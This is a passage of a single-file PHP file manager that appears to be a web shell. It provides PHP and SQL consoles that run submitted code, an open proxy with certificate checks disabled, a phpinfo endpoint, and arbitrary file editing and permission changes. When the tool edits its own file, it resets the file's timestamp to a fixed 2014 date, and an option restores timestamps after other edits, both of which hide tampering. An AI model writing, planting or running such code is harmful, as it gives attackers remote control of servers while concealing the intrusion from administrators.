			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
